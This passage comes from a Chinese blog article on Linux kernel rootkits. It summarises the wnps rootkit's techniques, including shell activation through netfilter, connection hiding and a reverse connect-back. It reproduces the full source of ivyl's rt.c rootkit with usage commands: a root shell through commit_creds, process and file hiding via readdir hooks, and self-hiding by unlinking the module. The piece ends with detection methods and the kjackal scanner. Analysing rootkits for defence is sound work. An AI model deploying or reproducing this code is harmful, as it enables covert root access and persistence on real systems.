tcp_seq_afinfo*)my_dir_entry->data)) { //保留原始的/proc/net/tcp列表 old_tcp4_seq_show = my_afinfo->seq_show; /* 将/proc/net/tcp替换为"hacked_tcp4_seq_show",这个函数会根据配置文件隐藏指定tcp连接记录 */ my_afinfo->seq_show = hacked_tcp4_seq_show; } /* 注册一个netfilter回调函数,监控所有的入口tcp数据报,有两个目的 1) 过滤掉指定的tcp soccket连接 2) 通过监控关键字"TCP_SHELL_KEY",实现无连接方式shell开启 */ netfilter_test_init(); #if DEBUG == 1 printk(KERN_ALERT "[+] Wnps installed successfully!\n"); #endif return 0; } void wnps_exit(void) { /* * We do nothing here! */ } module_init(wnps_init); module_exit(wnps_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("wzt");
总结一下,wnps所使用到的技术关键点如下
1. 无连接方式SHELL激活
wnps可以通过发送tcp数据报来激活shell,即就算目标主机("肉鸡")不监听任何ip和端口,我们也可以通过wnps的rootkit功能进行shell激活
我们知道,tcp数据报是传输层协议,主机在接收到一个tcp数据报的时候,如果发现dst(目的ip)是自己本机,则一定会接收下来,进行解包后传给上层(应用层),而在应用层有一个复用/解复用的过程,即应用层根据目的端口来决定将这个数据报发给哪个应用程序
而问题的关键就是: 在从传输层配发到相应的应用程序之前,需要经过netfilter的路由过程(netfilter的链式处理流程),而wnps就是通过注册了一个netfilter的回调函数,监控了所有的入口tcp流量,如果在tcp数据报中发现了"TCP_SHELL_KEY"(标识关键字,wnps提供这个标志的可配置化),则表明客户端请求激活后门shell
通过这种巧妙的方式,真正做到了随机shell激活,而不需要像传统的方法那样让肉鸡listen住一个端口,然后等待连接,wnps的隐蔽性更好
/source/net/netfilter/core.c
int nf_register_hook(struct nf_hook_ops *reg) { struct nf_hook_ops *elem; int err; err = mutex_lock_interruptible(&nf_hook_mutex); if (err < 0) { return err; } list_for_each_entry(elem, &nf_hooks[reg->pf][reg->hooknum], list) { if (reg->priority < elem->priority) { break; } } list_add_rcu(®->list, elem->list.prev); mutex_unlock(&nf_hook_mutex); #if defined(CONFIG_JUMP_LABEL) static_key_slow_inc(&nf_hooks_needed[reg->pf][reg->hooknum]); #endif return 0; }
kshell.c
/** register a netfilter hooks,hook.c will use it. */ int netfilter_test_init(void) { //注册的回调函数 nfho.hook = hook_func; nfho.owner = NULL; nfho.pf = PF_INET; nfho.hooknum = NF_IP_PRE_ROUTING; nfho.priority = NF_IP_PRI_FIRST; nf_register_hook(&nfho); return 0; }
实现了对PRE_ROUTING的前向过滤动作,直接完成在传输层的shell开启功能,关于netfilter的相关链式处理方式,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
2. netfilter注册回调+/proc/net/tcp修改双重过滤,实现网络连接状态隐藏
我们知道,netstat命令是通过读取/proc/net来获取当前linux系统的网络连接状态信息的,传统的rootkit会对/proc/net这个连接内核的虚拟目录进行修改以此来达到隐藏socket连接状态的目的,但很多的检测系统也因此开发出了内核检测机制以此来对抗针对/proc/net的攻击方式
针对这种情况,wnps在修改/proc/net的基础上加上了netfilter注册回调过滤机制,通过直接在netfilter的hook点上注册过滤函数,根据配置文件直接屏蔽指定的tcp连接,以此来获得更大的灵活性
3. 劫持当前系统中的"系统调用中断idt例程"
搜索的方法是比较传统的"关键字内存暴力搜索"方式,即
p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85'
4. 劫持系统中关键系统调用
1. 劫持sysenter(快速系统调用)这个系统调用 2. 劫持getdents64系统调用 getdents64涉及到目录、文件的枚举(例如ls命令) 3. 劫持read系统调用 文件、目录、设备、加载LKM模块的隐藏
5. kernel mode socket connect back(内核态反向回连)
wnps在read的系统调用劫持函数中加入了内核态反向回连的触发代码,大致流程如下
if(wztshell == 1) { //wztshell==1表明当前rootkit的shell已经被激活(已经通过netfilter过滤机制接收到了指令段发送的激活指令) 从肉鸡端主动向远程主控方建立tcp socket连接 }
6. 基于系统调用hook的进程隐藏
对于linux系统,可以获得当前进程的指令有:
1. ll /proc 2. ps 3. top
这些系统指令到了内核系统调用这个层面,全都需要通过"getdents64"这个系统调用进行实现
wnps在对getdents64进行劫持的函数中,对指定进程信息(dirent64结构体)进行了过滤,从而获得到了比简单修改/proc更好的效果
7. 通信加密
/** * encryptcode - encrypt strings in a buf. * @buf: strings in it. * @count: the length of buf. * * we can use random char to improve encrypt strength. */ void encrypt_code(char *buf,int count) { char *p; int i,j; for (i = 0; i < 4; i++) for (p = buf,j = 0; j < count; j++,p++) *p = *p ^ xorkeys[i]; }
wnps对通信数据进行了异或加密
0x4: Defense Strategy
Relevant Link:
http://www.xfocus.net/tools/200710/1233.html http://files.cnblogs.com/LittleHann/hook_the_kernel_WNPS.pdf
6. Sample Rootkit for Linux
0x1: Installation && Usage
https://github.com/ivyl/rootkit,下载源代码之后,直接make编译即可,"Sample Rootkit for Linux"对大部分内核版本支持很多,这很大程度上也是因为它的代码量很小,涉及到和系统强依赖的因素也相对较少,所以编译上的兼容性就更高
这里简单介绍一下"Sample Rootkit for Linux"的使用
1. 查看帮助 cat /proc/rtkit 当前rootkit进程是被隐藏起来的,我们直接输入/proc/rtkit即可查看rootkit的信息、以及rootkit支持的指令集 1.1 DESC: 1) hides files prefixed with __rt or 10-__rt and gives root 1.2 CMNDS: 1) mypenislong: 获得一个root权限的shell(提权) 2) hpXXXX: hides proc with id XXXX(xxxx填的是指定进程的pid) 3) up: unhides last process(取消隐藏最后进程) 4) thf: toogles file hiding(文件隐藏的开关) 5) mh: module hide(隐藏当前rootkit内核模块) 6) ms: module show(显示当前rootkit内核模块,取消隐藏) 1.3 STATUS 1) fshide: 0 2) pids_hidden: 0 3) module_hidden: 1 2. 向rootkit内核模块下发指令 1) 隐藏rootkit模块 echo -n mh >> /proc/rtkit 2) 隐藏进程 echo -n hp1233 >> /proc/rtkit 3) 获得一个root权限的shell echo -n mypenislong >> /proc/rtkit 3. 使用软件提供的包装脚本 1) 获得一个root权限的shell python tools/rtcmd.py mypenislong /bin/bash
0x2: Features
这里针对rt.c进行代码分析,原理性阐述都放在注释中了
#include <linux/init.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/string.h> #include <linux/cred.h> #include <linux/fs.h> /* 定义了一个判断大小的宏 */ #define MIN(a,b) \ ({ typeof (a) _a = (a); \ typeof (b) _b = (b); \ _a < _b ? _a : _b; }) #define MAX_PIDS 50 MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>"); MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>"); //STATIC VARIABLES SECTION //we don't want to have it visible in kallsyms and have access to it all the time static struct proc_dir_entry *proc_root; static struct proc_dir_entry *proc_rtkit; static int (*proc_readdir_orig)(struct file *, void *, filldir_t); static int (*fs_readdir_orig)(struct file *, void *, filldir_t); static filldir_t proc_filldir_orig; static filldir_t fs_filldir_orig; static struct file_operations *proc_fops; static struct file_operations *fs_fops; static struct list_head *module_previous; static struct list_head *module_kobj_previous; static char pids_to_hide[MAX_PIDS][8]; static int current_pid = 0; static char hide_files = 1; static char module_hidden = 0; static char module_status[1024]; /* MODULE HELPERS 使用"断链法"技术进行内核模块的隐藏 原理: 1. linux将所有的内核模块都在内核中用循环双链表串联起来了 2. 通过找到这些链表,并使用linux提供的链表操作宏将指定的"元素(对应内核模块)"从链表中断开 3. 我们再通过lsmod、或者直接读取内核模块链表的时候自然无法枚举到被我们隐藏的模块了,达到隐藏模块的目的 关于内核模块链表的相关知识请参阅 http://www.cnblogs.com/LittleHann/p/3865490.html */ void module_hide(void) { if (module_hidden) { return; } module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = !module_hidden; } /* 将断开的链表项目重新插入回去,恢复模块的显示 */ void module_show(void) { int result; if (!module_hidden) return; list_add(&THIS_MODULE->list, module_previous); result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt"); module_hidden = !module_hidden; } //PAGE RW HELPERS static void set_addr_rw(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); if (pte->pte &~ _PAGE_RW) { pte->pte |= _PAGE_RW; } } static void set_addr_ro(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); pte->pte = pte->pte &~_PAGE_RW; } //CALLBACK SECTION static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { int i; for (i=0; i < current_pid; i++) { /* 当检测到指定的需要隐藏的进程时,直接returned返回,即直接跳过这个进程的枚举 */ if (!strcmp(name, pids_to_hide[i])) { return 0; } } if (!strcmp(name, "rtkit")) { return 0; } return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); } static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { proc_filldir_orig = filldir; return proc_readdir_orig(filp, dirent, proc_filldir_new); } static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) { return 0; } return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); } static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { fs_filldir_orig = filldir; return fs_readdir_orig(filp, dirent, fs_filldir_new); } static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) { int size; /* 当cat /proc/rtkit 时的输出 */ sprintf(module_status, "RTKIT\n\ DESC:\n\ hides files prefixed with __rt or 10-__rt and gives root\n\ CMNDS:\n\ mypenislong - uid and gid 0 for writing process\n\ hpXXXX - hides proc with id XXXX\n\ up - unhides last process\n\ thf - toogles file hiding\n\ mh - module hide\n\ ms - module show\n\ STATUS\n\ fshide: %d\n\ pids_hidden: %d\n\ module_hidden: %d\n", hide_files, current_pid, module_hidden); size = strlen(module_status); if (off >= size) return 0; if (count >= size-off) { memcpy(buffer, module_status+off, size-off); } else { memcpy(buffer, module_status+off, count); } return size-off; } static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { if (!strncmp(buff, "mypen", MIN(11, count))) { /* 创建一个用户新进程task_struct的creads */ struct cred *credentials = prepare_creds(); /* changes to root */ credentials->uid = credentials->euid = 0; credentials->gid = credentials->egid = 0; /* 获得新设置cread的进程shell */ commit_creds(credentials); } else if (!strncmp(buff, "hp", MIN(2, count))) { //upXXXXXX hides process with given id if (current_pid < MAX_PIDS) { strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2)); } } else if (!strncmp(buff, "up", MIN(2, count))) { //unhides last hidden process if (current_pid > 0) { current_pid--; } } else if (!strncmp(buff, "thf", MIN(3, count))) { //toggles hide files in fs hide_files = !hide_files; } else if (!strncmp(buff, "mh", MIN(2, count))) { //module hide module_hide(); } else if (!strncmp(buff, "ms", MIN(2, count))) { //module hide module_show(); } return count; } //INITIALIZING/CLEANING HELPER METHODS SECTION static void procfs_clean(void) { if (proc_rtkit != NULL) { remove_proc_entry("rtkit", NULL); proc_rtkit = NULL; } if (proc_fops != NULL && proc_readdir_orig != NULL) { set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_orig; set_addr_ro(proc_fops); } } static void fs_clean(void) { if (fs_fops != NULL && fs_readdir_orig != NULL) { set_addr_rw(fs_fops); fs_fops->readdir = fs_readdir_orig; set_addr_ro(fs_fops); } } /* 初始化rootkit在/proc中的目录项 */ static int __init procfs_init(void) { //new entry in proc root with 666 rights /* 新建一个666权限的/proc目录 */ proc_rtkit = create_proc_entry("rtkit", 0666, NULL); if (proc_rtkit == NULL) { return 0; } //设置父目录 proc_root = proc_rtkit->parent; if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) { return 0; } /* 注册/proc/rtkit的读取句柄,即cat /proc/rtkit时相应的响应 static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) */ proc_rtkit->read_proc = rtkit_read; /* 注册/proc/rtkit的写入句柄,即echo -n xxx >> /proc/rtkit时相应的处理流程 static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) */ proc_rtkit->write_proc = rtkit_write; //substitute proc readdir to our wersion (using page mode change) proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_readdir_orig = proc_fops->readdir; //设置内存页可读可写 set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_new; set_addr_ro(proc_fops); return 1; } /* 初始化文件系统的内存读写权限 */ static int __init fs_init(void) { /* struct file { union { struct list_head fu_list; struct rcu_head fu_rcuhead; } f_u; struct path f_path; #define f_dentry f_path.dentry #define f_vfsmnt f_path.mnt const struct file_operations *f_op; atomic_t f_count; unsigned int f_flags; mode_t f_mode; loff_t f_pos; struct fown_struct f_owner; unsigned int f_uid, f_gid; struct file_ra_state f_ra; unsigned long f_version; #ifdef CONFIG_SECURITY void *f_security; #endif void *private_data; #ifdef CONFIG_EPOLL struct list_head f_ep_links; spinlock_t f_ep_lock; #endif struct address_space *f_mapping; }; 文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的struct file 它由内核在打开文件时创建,并传递给在文件上进行操作的任何函数。在文件的所有实例都关闭后,内核释放这个数据结构(内核变量) */ struct file *etc_filp; //get file_operations of /etc etc_filp = filp_open("/etc", O_RDONLY, 0); if (etc_filp == NULL) { return 0; } /* struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); int (*iterate) (struct file *, struct dir_context *); unsigned int (*poll) (struct file *, struct poll_table_struct *); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, loff_t, loff_t, int datasync); int (*aio_fsync) (struct kiocb *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int); int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **); long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); int (*show_fdinfo)(struct seq_file *m, struct file *f); }; */ fs_fops = (struct file_operations *) etc_filp->f_op; filp_close(etc_filp, NULL); //substitute readdir of fs on which /etc is fs_readdir_orig = fs_fops->readdir; //设置内存页可读可写 set_addr_rw(fs_fops); fs_fops->readdir = fs_readdir_new; set_addr_ro(fs_fops); return 1; } //MODULE INIT/EXIT static int __init rootkit_init(void) { /* 初始化rootkit在/proc中的目录项 初始化文件系统的内存读写权限 */ if (!procfs_init() || !fs_init()) { procfs_clean(); fs_clean(); return 1; } module_hide(); return 0; } static void __exit rootkit_exit(void) { procfs_clean(); fs_clean(); } module_init(rootkit_init); module_exit(rootkit_exit);
总结一下,Sample Rootkit for Linux所使用到的技术关键点如下
1. 通过内核API获得rootkit权限shell
struct cred *credentials = prepare_creds(); credentials->uid = credentials->euid = 0; credentials->gid = credentials->egid = 0; commit_creds(credentials);
2. 基于/proc的目录读取函数劫持的进程隐藏
proc_rtkit = create_proc_entry("rtkit", 0666, NULL); proc_root = proc_rtkit->parent; proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_fops->readdir = proc_readdir_new;
通过获取/proc的读取回调句柄(即/proc对读取的回应),然后根据指定的pid进行选择性枚举跳过(return)
static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { proc_filldir_orig = filldir; return proc_readdir_orig(filp, dirent, proc_filldir_new); } //CALLBACK SECTION static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { int i; for (i=0; i < current_pid; i++) { /* 当检测到指定的需要隐藏的进程时,直接returned返回,即直接跳过这个进程的枚举 */ if (!strcmp(name, pids_to_hide[i])) { return 0; } } if (!strcmp(name, "rtkit")) { return 0; } return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); }
3. 基于对/etc目录文件读取枚举接口函数劫持的的文件隐藏
struct file *etc_filp; etc_filp = filp_open("/etc", O_RDONLY, 0); fs_fops = (struct file_operations *) etc_filp->f_op; fs_readdir_orig = fs_fops->readdir; fs_fops->readdir = fs_readdir_new;
和进程的隐藏原理一样,都是通过对目录(/proc从某种程度上来说也是一种目录)的读取句柄进行劫持,然后进行选择性跳过(return)来达到屏蔽的目的
static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { fs_filldir_orig = filldir; return fs_readdir_orig(filp, dirent, fs_filldir_new); } static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) { /* 当检测到指定的满足隐藏条件的文件名特征时,直接returned返回,即直接跳过这个文件的枚举 */ return 0; } return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); }
4. 基于断链法的内核模块隐藏技术
/* MODULE HELPERS 使用"断链法"技术进行内核模块的隐藏 原理: 1. linux将所有的内核模块都在内核中用循环双链表串联起来了 2. 通过找到这些链表,并使用linux提供的链表操作宏将指定的"元素(对应内核模块)"从链表中断开 3. 我们再通过lsmod、或者直接读取内核模块链表的时候自然无法枚举到被我们隐藏的模块了,达到隐藏模块的目的 关于内核模块链表的相关知识请参阅 http://www.cnblogs.com/LittleHann/p/3865490.html */ void module_hide(void) { if (module_hidden) { return; } /* 从struct module结构体可以看出,在内核态,我们如果要枚举当前模块列表,可以使用list、kobj这两个成员域进行枚举 自然在断链隐藏的时候也需要对这两个成员进行操作 */ module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = !module_hidden; }
5. 通过创建/proc下虚拟目录的读写接口函数接收ring3层的指令、指令灵活配置
proc_rtkit = create_proc_entry("rtkit", 0666, NULL); proc_rtkit->read_proc = rtkit_read; /* 注册/proc/rtkit的写入句柄,即echo -n xxx >> /proc/rtkit时相应的处理流程 static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) */ proc_rtkit->write_proc = rtkit_write; static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { if (!strncmp(buff, "mypenislong", MIN(11, count))) { } else if (!strncmp(buff, "hp", MIN(2, count))) { } else if (!strncmp(buff, "up", MIN(2, count))) { } else if (!strncmp(buff, "thf", MIN(3, count))) { } else if (!strncmp(buff, "mh", MIN(2, count))) { } else if (!strncmp(buff, "ms", MIN(2, count))) { } return count; }
通过这种方式,可以很方便地通过一个相对较隐蔽的方式从ring3向ring0发出指令
0x3: Defense Strategy
Relevant Link:
https://github.com/ivyl/rootkit http://www.cnblogs.com/LittleHann/p/3865490.html
7. suterusu
这个rootkit的功能把别的rootkit大同小异,有一个亮点的地方是,它使用register_module_notifier注册了模块加载的回调函数,这使得suterusu可以在系统调用这个层面对其他的lkm的加载和放行进行控制
Relevant Link:
https://github.com/mncoppola/suterusu
8. Rootkit Defense Tools
攻和防是一件针锋相对的事情,从某种程序上来,防守方一定是滞后于攻击方(时间长短的问题),检测、防御rootkit的工具本质上就是在识别、确定rootkit的攻击技术的基础上,进行反向的思考以及防御
总目前来看,rootkit在进行攻击的时候会使用到的技术有:
1. 灵活的指令配置 1) 通过创建/proc下虚拟目录的读写接口函数接收ring3层的指令、指令灵活配置 2) 通过netlink技术实现ring3和ring0的通信,向rootkit下发指令 2. 内核模块隐藏(包括隐藏rootkit自身分模块) 1) 基于断链法的内核模块隐藏技术 3. 文件、目录隐藏 1) 基于对/etc目录文件读取枚举接口函数劫持的的文件隐藏 2) 隐藏文件中"特定的内容" 3) 替换关键系统指令程序,例如ls、ll 4) 基于sys_execv系统调用劫持实现可执行程序执行重定向技术 4. 进程隐藏 1) 基于/proc的目录读取函数劫持的进程隐藏 2) 基于系统调用hook的进程隐藏 3) 替换关键系统指令程序,例如ps、top 4) 基于getdents64系统调用劫持实现可执行程序执行重定向技术 5. 网络连接状态隐藏 1) netfilter注册回调实现网络连接状态隐藏 2) /proc/net/tcp修改过滤实现网络连接状态隐藏 6. 获取root权限的shell 1) 通过内核API(prepare_creds()、commit_creds())获得rootkit权限shell 2) 无连接方式SHELL激活 2.1) tcp激活 2.2) udp激活 2.3) icmp激活 7. 远程控制(shell) 1) kernel mode socket connect back(内核态反向回连) 8. 通信加密 1) commit_creds 2) 借助HTTP、或DNS协议进行通信 9. 键盘记录 1) 密码记录(ssh, su, mysql, pop3, passwd etc)
基于这些已知的先验知识,下面我们来看一下git上开源的工具是怎样进行rootkit检测的
9. Linux Rootkit Scanner: kjackal
Kjackal uses multiple methods to find hidden modules. Here is the list:
1. Syscall hijack detection. The primary technique is to iterate over the syscall table and test every address to see if it is in the core kernel text section where it's supposed to be. If yes, we'll check 1) 通过遍历当前内核中的系统调用表syscal table,逐一检查例程的入口地址是否在内核空间,如果不在,则说明发生了syscall劫持 2) 发现了syscall table的劫持之后,继续进行反向追踪,确定劫持当前系统调用的是哪一个LKM,即找到劫持的凶手 for a module "hosting" this address. 2. TCP IPv4 seq_ops hijack detection. This technique is often used to hide ports or any sensitive information. The 'seq_ops.show' is checked here to the core kernel text address space. rootkit一般采用对/proc/net/tcp的读写句柄进行劫持以实现隐藏网络连接状态的目的,所以我们这里的检测思路反过来去枚举/proc/net/tcp的读写句柄是否在内核态中,如果不在,说明发生了劫持 3. /proc filesystem hijack detection. Check the readdir ops of /proc. rootkit通常通过劫持/proc的f_op->readdir来实现filesystem劫持的目的 4. Search for hidden modules Search for each *hidden* module which tries to remove itself from existence 通过对modules kset进行枚举实现隐藏内核模块的检测 关于在linux内核中内核模块的数据结构、以及模块链表的枚举 http://www.cnblogs.com/LittleHann/p/3865490.html search: struct module
Relevant Link:
http://files.cnblogs.com/LittleHann/kjackal.rar https://github.com/dgoulet/kjackal
Copyright (c) 2014 LittleHann All rights reserved